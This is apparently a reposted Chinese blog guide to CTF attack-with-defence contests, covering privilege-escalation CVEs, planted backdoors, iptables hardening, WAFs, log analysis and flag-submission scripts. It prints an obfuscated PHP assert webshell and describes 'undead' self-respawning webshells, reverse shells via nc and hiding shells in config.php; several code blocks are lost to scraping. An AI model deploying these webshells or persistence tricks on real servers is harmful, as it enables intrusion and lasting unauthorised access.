簡介
隨着CTF的普及,比賽的形式也有了愈來愈多的花樣,對於線下賽來講,常見爲 AWD:Attack With Defence+公共高地、內網滲透等形式。php
因爲前段時間準備線下賽時,看了許多大佬們總結的套路,他們各類騷操做讓我學到了許多,因此就想把幾篇我以爲比較好的總結一下,一來方便本身比賽前回顧一下,二來跟你們分享,但願能對各位CTF朋友們有所幫助。html
以後若是學到什麼新姿式,我有時間也會update上來和你們分享:)python
何爲AWD
比賽中每一個隊伍維護多臺服務器,服務器中存在多個漏洞,利用漏洞攻擊其餘隊伍能夠進行得分,修復漏洞能夠避免被其餘隊伍攻擊失分。mysql
通常分配Web服務器,服務器(多數爲Linux)某處存在flag(通常在根目錄下)linux
可能會提供一臺流量分析虛擬機,能夠下載流量文件進行數據分析;nginx
flag在主辦方的設定下每隔必定時間刷新一輪git
各隊通常都有本身的初始分數github
flag一旦被其餘隊伍拿走,該隊扣除必定積分web
扣除的積分由獲取flag的隊伍均分sql
主辦方會對每一個隊伍的服務進行check,服務宕機扣除本輪flag分數,扣除的分值由服務check正常的隊伍均分
通常每一個隊伍會給一個低權限用戶,非root權限
具體規則以具體比賽規則爲準,但通常大同小異
網絡環境
網絡拓撲以下圖所示(示例):
首先先理清好網絡拓撲關係,節點與各鏈路之間的關聯,方便下一步和隊友配合,要否則不知道對手在哪就GG。
比賽分工
線下賽通常3人左右,2人攻擊,1人防護,由於發現的漏洞能夠攻擊其餘隊伍,也要進行修復,因此攻防相輔相成,以攻爲守。
通常來講,比賽中每一個隊伍須要維護多個靶機,web、二進制等,也能夠每人負責一臺,各自負責攻擊和防護。
套路小結
常規的CTF線下攻防思路:
服務器登陸
通常比賽都經過ssh鏈接服務器,拿到網絡拓撲圖後,和隊友進行分工,一我的檢查有沒有弱口令(弱口令的問題幾乎是必考),有的話對密碼進行修改(越複雜越好,固然前提是本身也方便)。web後臺也頗有可能存在弱口令,通常都是admin/admin
,admin/123456
,test/test
等等,一樣須要當即修改,並將狀況反饋給隊友,憑着你的手速修改其餘隊伍的後臺口令,爲本隊所用,甚至有些嚴重的能夠利用後臺getshell。
與此同時,還須要(必定要!必需要!)有人在比賽開始後第一時間備份服務器中web目錄下的文件(/var/www/html
)。這是自我審計的基礎,也是防止服務器在比賽中出現異常的狀況下能夠當即恢復到初始狀態的先決條件。有的比賽能夠提供3次左右的恢復初始設置的機會(但通常會伴隨着扣分爲代價),有的比賽不提供,因此備份十分重要。
能夠用scp命令,也可用一些圖形化的工具:Winscp,MobaXterm等,操做起來比較方便。
接着就是上WAF、文件監控、端口掃描。將這幾個工做分工好,順序就像圖上。
提權
在AWD中,通常都須要專門防護加固本身服務器的環節,但加固的不少操做都會涉及到root權限,若是直接給root權限最好,但通常只會給一個普通權限帳號,這時候每每就須要給服務器提權了。關於提權,一般咱們要根據kernel版本號找到對應的poc,平時咱們能夠收集測試一些比較新的提權poc,以備不時之需。
Linux_Local_Root_Exploits :這網站收集了許多linux本地提權的poc。
linux-kernel-exploits(github) :一個挺全的提權exp項目,收集了04年至今的exp,並按年份和CVE歸類
下面分享幾個最近兩年而且影響範圍比較大的:
CVE-2017-6074 (DCCP雙重釋放漏洞 > 2.6.18 ) :DCCP雙重釋放漏洞可容許本地低權限用戶修改Linux內核內存,致使拒絕服務(系統崩潰)或者提高權限,得到系統的管理訪問權限
CVE-2016-5195(髒牛,kernel 2.6.22 < 3.9 (x86/x64)) :低權限用戶可修改root用戶建立的文件內容,如修改 /etc/passwd,把當前用戶的 uid 改爲 0 便可提高爲root權限
CVE-2016-8655(Ubuntu 12.0四、14.04,Debian 七、8) :條件競爭漏洞,可讓低權限的進程得到內核代碼執行權限
POC:https://www.seebug.org/vuldb/ssvid-92567
CVE-2017-1000367(sudo本地提權漏洞 ) :Linux Kernel Stack Clash安全漏洞。該漏洞是因爲操做系統內存管理中的一個堆棧衝突漏洞,它影響Linux,FreeBSD和OpenBSD,NetBSD,Solaris,i386和AMD64,攻擊者能夠利用它破壞內存並執行任意代碼 。
CVE-2016-1247(Nginx權限提高漏洞) :Nginx服務在建立log目錄時使用了不安全的權限設置,可形成本地權限提高,惡意攻擊者可以藉此實現從 nginx/web 的用戶權限 www-data 到 root 用戶權限的提高。
POC:https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
我收集了一些提權的腳本工具集,可做參考:https://github.com/edwardchoijc/ctf-toolkit/Linux/getROOT
How to Attack
主機發現
若是是在同個C段,或者B段,都可以使用掃描器進行掃描得出。還要記得掃端口,這很重要,固然這個端口掃描是創建在沒有本身靶機權限的狀況下。用nmap也行,本身寫的腳本或者網上找的也行。
找預留後門
有的比賽環境,爲了照顧比較菜的選手,預留了一句話後門,能夠利用這個漏洞迅速打一波,還能夠視狀況「攪屎」,利用這個漏洞一直維持權限,每輪都得分。
將整個web目錄下載到本地,使用hm.exe、D盾或者別的掃描工具能夠掃描得出(若是預留)
發現後門後,第一時間刪除,同時利用這個漏洞發起第一波攻擊,若是利用菜刀連,顯然不夠優雅,還沒連完,人家估計都刪的差很少了,所以這個漏洞雖然是送分,但拼的是手速,所以得提早準備好腳本
代碼審計
代碼審計是攻防一體的工做,當發現漏洞時,修補的同時跟進攻的隊友商討如何利用
一句話木馬
控制用的一句話木馬,最好是須要菜刀配置的,這樣作是爲了避免讓別人輕易的利用你的一句話,要否則就只能等着別人用你的腳本撿分。
比較好的一句話:
$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e='($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>
配置爲?b=))99(rhC(tseuqeR+lave
1 |
|
配置爲n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
,鏈接密碼爲0
(數字)
單個文件批量上傳
當咱們經過某個漏洞批量上傳了不少的webshell後,可能想要批量傳個後門以備後用。這時咱們能夠經過用腳本批量上傳來提升效率:batch_upload_file
權限維持
上面說到利用預留後門能夠維持權限,主要有兩種,一種是「不死馬」,另外一種是反彈shell
「不死馬」
1 |
|
利用預留後門,上傳上面的「不死馬」並訪問,就會一直生成.demo.php
的一句話木馬,木馬內容能夠自行修改,只要別被其餘隊伍看懂就行。
文件名前加一個點,能更好地隱藏文件
想要結束這個進程,除了最暴力的重啓服務以外,更爲優雅的以下:
while (1) {
$pid=1234;
@unlink('.demo.php');
exec('kill -9 $pid');
}
?>
先查看進程,查看對應的pid,再執行便可。
md5馬+header
1 |
|
放進config.php
效果最好,由於通常不多人去看這個。
反彈shell
1 |
|
利用預留後門上傳上面的php文件並訪問,就能夠用nc反彈shell,以後就能夠一直得分了
How to Defend
經常使用命令
咱們先總結一下線下賽的防禦工做中經常使用的一些命令
1 |
ssh <-p 端口> username@ip |
文件監控
爲了監控咱們的web目錄,咱們能夠對文件的增長或修改等操做進行限制,粗暴一點的話,就禁止任何文件產生變化。
使用系統
chattr +i
命令Linux下的文件有着隱藏屬性,能夠用
lsattr
命令查看。其中有一個i
屬性,表示不得更動任意文件或目錄。若是你已經有root
或者sudo
權限了,那麼你可使用chattr +i
修改文件隱藏屬性,這樣全部用戶都不能對該文件或者目錄進行修改刪除等操做(包括root
),若是想進行修改,必須用chattr -i
取消隱藏屬性。e.g.
防止系統中某個關鍵文件被修改:
chattr +i /etc/profile
將/var/www/html目錄下的文件設置爲不容許任何人修改:
chattr -R +i /var/www/html
使用python的第三方庫pyinotify
python的第三方庫pyinotify可讓咱們很方便地實現這些功能。可是因爲是第三方庫,線下賽中一般無法聯網安裝庫,因此咱們能夠提早準備好source code以在比賽時安裝。
下載地址:https://pypi.python.org/pypi/pyinotify (若是比賽能夠聯網,建議直接經過pip安裝)
安裝方法:解壓,而後執行
sudo pythonXXX setup.py install
使用方法:
python -m pyinotify monitoring_path
但因爲監控事件太過雜,不少並非咱們關注的,而且咱們不只僅要監控,還須要對某些操做進行自動處理,所以咱們能夠用腳本針對性地實現咱們須要的功能:monitor_withPyinotify。
網絡控制
網絡防禦必定少不了 iptables了,但使用iptables須要有管理員權限。對於比賽環境,咱們徹底能夠配置一個近乎苛刻的配置防火牆策略。
只開放一些比賽的必要端口,也能夠防止後門的鏈接
1 |
#開放ssh |
限制ssh登錄,進行訪問控制
1 |
#禁止從xx.xx.xx.xx遠程登錄到本機 |
限制IP鏈接數和鏈接速率
咱們能夠限制IP的網絡鏈接數和速度等,限制過快的鏈接頻率,這樣能夠在必定程度上限制對方的掃描器。狠一點的話,甚至可讓對方只能以手工點網頁的速度與訪問
1 |
#單個IP的最大鏈接數爲 30 |
再猥瑣一點,能夠定時斷開已經創建的鏈接,讓對方只能斷斷續續的訪問
數據包簡單識別,防止端口複用類的後門或者shell
假設病毒木馬程序經過22
,80
端口向服務器外傳送數據,這種方式向外發的數據不是咱們經過訪問網頁請求而回應的數據包。咱們能夠禁止這些沒有經過請求迴應的數據包。
1 |
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT |
限制訪問
若是對方來勢太兇,咱們能夠限制或者封殺他們的ip段。
1 |
#禁止從客戶機1.1.1.4訪問1.1.1.5上的任何服務 |
過濾異常報文
iptables有一個TCP匹配擴展協議–tcp-flags,功能是過濾TCP中的一些包,好比SYN包,ACK包,FIN包,RST包等等。舉個例子,咱們知道SYN是創建鏈接,RST是重置鏈接,若是這兩個同時出現,就知道這樣的包是有問題的,應該丟棄。下面的例子是利用–tcp-flags參數,對一些包進行標識過濾,扔掉異常的數據包。
1 |
#表示 SYN,FIN,ACK,RST的標識都檢查,但只匹配SYN標識 |
防DDOS
1 |
iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT |
-m limit
:啓用limit擴展–limit 20/minute
:容許最多每分鐘10個鏈接–limit-burst 100
:當達到100個鏈接後,才啓用上述20/minute限制
丟棄陌生的TCP響應包,防止反彈式攻擊
iptables -A INPUT -m state --state NEW -p tcp ! --syn -j DROP
iptables -A FORWARD -m state --state NEW -p tcp --syn -j DROP
提供一個通用的firewall腳本firewall.sh,咱們能夠傳到服務器上一鍵執行,相關參數能夠查閱資料詳細瞭解。
注意,對於不一樣的
iptables
版本,一些參數的用法能夠會有略微的差別,使用時咱們可能要根據須要進行修改。
修復漏洞
CTF比賽中修復漏洞主要就是爲了防止其餘隊伍的入侵了。
刪站(不建議)
若是賽組沒有明確禁止,這是最粗暴的姿式,只留本身的webshell。
刪頁面
大部分舉辦方仍是會明確禁止刪除網站的,一般賽組會按期訪問網站主頁(通常來講),從而肯定網站是否正常運行。其實咱們不必刪除整個網站,只要刪掉有漏洞的頁面就好了,好比刪後臺登陸頁面、註冊頁面、上傳頁面等等。
破壞正常功能
若是明確不能刪除任何頁面,能夠選擇讓這些漏洞點的功能函數(或者其依賴的功能函數)失效。好比上傳點,若是考慮過濾挺麻煩,又不能刪頁面,那麼咱們能夠找到這個漏洞網頁,改掉或者刪掉文件裏對應的相似
upload
等這種功能調用函數。正常修補手段
規則限定很嚴的狀況下,咱們仍是採用正常手法吧,修改服務配置、安裝補丁、下載更新的軟件版本、加過濾等等。
第1~3種方法其實都算不上修補漏洞了,真實環境下哪能這麼幹。
上WAF
可使用第三方軟件的話,裝個安全狗之類的吧。
下載連接:http://www.safedog.cn/website_safedog.html
也能夠蒐集或者本身實現一些腳本或者工具有用。
本人收集的一些WAF:https://github.com/edwardchoijc/ctf-toolkit/tree/master/Linux/WAF
使用方法:
將waf.php傳到要包含的文件的目錄
在頁面中加入防禦,有兩種作法,根據狀況二選一:
PHPCMS V9:
\phpcms\base.php
PHPWIND8.7:
\data\sql_config.php
DEDECMS5.7:
\data\common.inc.php
DiscuzX2:
\config\config_global.php
Wordpress:
\wp-config.php
Metinfo:
\include\head.php
在所須要防禦的頁面加入代碼:
這樣就能夠作到頁面防注入、跨站。
若是想整站防注,就在網站的一個公用文件中添加上述代碼來調用WAF
經常使用的php的WAF添加路徑:
require_once('waf.php');
在每一個文件最前加上上述代碼
在
php.ini
中找到並添加:
Automatically add files before or after any PHP document.
auto_prepend_file = waf.php的路徑;
還有最簡便的方法,能夠用一條命令解決,以php爲例:
sudo find /var/www/html/path_you_want -type f -path "*.php" | xargs sed -i "s/
#意思就是查找須要加waf的目錄下全部php文件,在頭部添加一句,用require_once函數引入/tmp/waf.php文件。由於sed命令利用 / 區分文件中的原字符串和修改的字符串,因此咱們要對 / 進行轉義。相似於在單引號中再次使用單引號時咱們也要用反斜槓轉義。
最後,提醒:須要注意的是,部署waf可能會致使服務不可用,部署後要密切留意本身服務器的狀態。
流量和日誌分析
經過對流量、日誌的分析,能夠:
感知可能正在發生的攻擊,從而規避存在的安全風險
應急響應,還原攻擊者的攻擊路徑,從而挽回已經形成的損失
某些狀況下還能對攻擊進行重放復現
流量分析
在比賽機器上使用下述命令進行流量抓取:
tcpdump -s 0 -w flow_log.pcap port 9999
而後在本地對抓取的pcap使用wireshark進行分析
日誌分析
記錄log的腳本網上有不少,你們能夠自行搜索。例如:
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"];//記錄訪問者的ip
$filename = $_SERVER['PHP_SELF'];//訪問者要訪問的文件名
$parameter = $_SERVER["QUERY_STRING"];//訪問者要請求的參數
$method = $_SERVER['REQUEST_METHOD'];//請求方法
$time = date('Y-m-d H:i:s',time());//訪問時間
$post = file_get_contents("php://input",'r');//接收POST數據
$others = '...其餘你想獲得的信息...';
$logadd = '訪問時間:'.$time.'-->'.'訪問連接:http://'.$ip.$filename.'?'.$parameter.'請求方法:'.$method."\r\n";
// log記錄
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fwrite($fh,print_r($_COOKIE, true)."\r\n");
fwrite($fh,$others."\r\n");
fclose($fh);
?>
日誌分析工具備:
LogForensics@騰訊實驗室
北風飄然@金烏網絡安全實驗室
piaox的多線程WEB安全日誌分析腳本
SecSky的Web日誌安全分析工具
鬼魅羊羔的Web日誌分析腳本
假flag
若是說很不幸,咱們前面的關卡都被突破了(實際上我都感受前面那些設置都有點「攪屎」的味道了,不過仍是但願師傅們能一塊兒來討論討論有沒有什麼騷姿式,以及繞過它們的方法)。假設真的被突破了,對於CTF線下賽來講,咱們最終的目的都是拿到flag。一般咱們會在服務器上執行相似於getflag
命令,或者curl
訪問某個url獲取flag,而後獲取到一個字符串,而後在答題平臺上提交這段字符串便可獲取分數。但有時候getflag時由於webshell丟了或其餘緣由,會致使服務器顯示Error,那咱們是否是能夠故意利用這種報錯來欺騙不細心的競爭對手呢?
怎樣實現?好比咱們能夠添加alias
別名,或者咱們能夠把這些命令更改或者替換掉,換成一些假裝命令程序。再換一層想一想,接着上面的思路,若是咱們替換或者假裝了系統命令,對方getshell以後,進來發現cd
,ls
等命令都無法用,會怎麼樣呢?
其餘
flag獲取
線下賽能夠直接使用之類的
或者
#!/bin/bash
while true
do
flag=$(curl 'http://xx.xx.xx.xx:8080')
curl --cookie "PHPSESSID=YourCookie;" --data "key="${flag} "http://XX.XX.XX.XX/index.php/submit"
sleep 1s
done
批量提交flag
#!/usr/bin/env python
import sys
import json
import urllib
import httplib
server_host = 'xx.xx.xx.xx'
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
if not team_token or not flag:
raise Exception('team token or flag not found')
conn = httplib.HTTPConnection(host, port, timeout=timeout)
params = urllib.urlencode({
'token': team_token,
'flag': flag,
})
headers = {
"Content-type": "application/x-www-form-urlencoded"
}
conn.request('POST', '/api/submit_flag', params, headers)
response = conn.getresponse()
data = response.read()
return json.loads(data)
if __name__ == '__main__':
if len(sys.argv) < 3:
print 'usage: ./submitflag.py $team_token $flag'
sys.exit()
host = server_host
if len(sys.argv) > 3:
host = sys.argv[3]
print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)
參考來源:
http://rcoil.me/2017/06/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/
https://www.anquanke.com/post/id/86984
http://tinyfisher.github.io/security/2017/10/02/CTF
https://edwardchoijc.github.io/CTF%E7%BA%BF%E4%B8%8BAWD%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93.html
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
一碼不掃,
何以掃天下?
![](http://static.javashuo.com/static/loading.gif)
本文分享自微信公衆號 - 網絡安全與信息技術(chuanqzk)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。